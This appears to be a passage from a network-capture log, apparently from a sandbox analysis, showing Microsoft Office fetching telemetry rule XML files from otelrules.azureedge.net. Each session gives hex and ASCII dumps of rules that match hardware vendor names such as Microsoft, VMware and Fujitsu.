
Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:13 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093713Z-16547b76f7frbg6bhC1DFWr5400000000fb000000000860z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:13 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7c20effc-801e-0015-04a3-34f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093713Z-17df447cdb5w28bthC1DFWgb640000000bd000000000abup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:13 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:13 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2d6c1d79-401e-0067-58a0-3409c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093713Z-15869dbbcc65c582hC1DFWgpv400000009a00000000057fu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:13 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:13 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093713Z-16547b76f7f9rdn9hC1DFWfk7s0000000fcg000000009zxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:14 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:14 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093714Z-16547b76f7f7rtshhC1DFWrtqn0000000fhg0000000034rd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:14 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:14 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a7fdf51b-501e-0035-02a2-34c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093714Z-15869dbbcc6r45wghC1DFWk35n00000002ng000000002bwt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:14 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:14 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093714Z-16547b76f7f7jnp2hC1DFWfc300000000fc000000000es0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:14 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:14 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:14 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 6bd3c087-001e-000b-13fd-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093714Z-16547b76f7flf9g6hC1DFWmcx80000000600000000006pcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:14 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:14 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 94736f86-d01e-0082-21a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093714Z-17df447cdb56j5xmhC1DFWn9180000000btg00000000cngb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:14 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:15 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:15 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7dbe6cd5-601e-00ab-1ca2-3466f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093715Z-17df447cdb5l865xhC1DFW9n7g00000008mg00000000a435 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:15 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093715Z-16547b76f7fp6mhthC1DFWrggn0000000fkg000000005mms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:15 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093715Z-16547b76f7fcjqqhhC1DFWrrrc0000000ff0000000004s1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" 